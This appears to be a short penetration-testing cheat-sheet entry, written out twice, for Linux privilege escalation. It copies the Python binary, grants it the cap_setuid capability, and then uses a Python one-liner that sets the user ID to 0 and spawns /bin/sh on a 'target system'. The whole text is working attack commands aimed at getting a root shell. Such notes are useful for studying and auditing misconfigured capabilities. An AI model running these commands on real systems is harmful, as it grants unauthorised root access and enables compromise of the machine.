#cp $(which python) .
#sudo setcap cap_setuid+ep python
run the command below in which ever version of python target system has
#python -c 'import os; os.setuid(0); os.system("/bin/sh")'
#cp $(which python) .
#sudo setcap cap_setuid+ep python
run the command below in which ever version of python target system has
#python -c 'import os; os.setuid(0); os.system("/bin/sh")'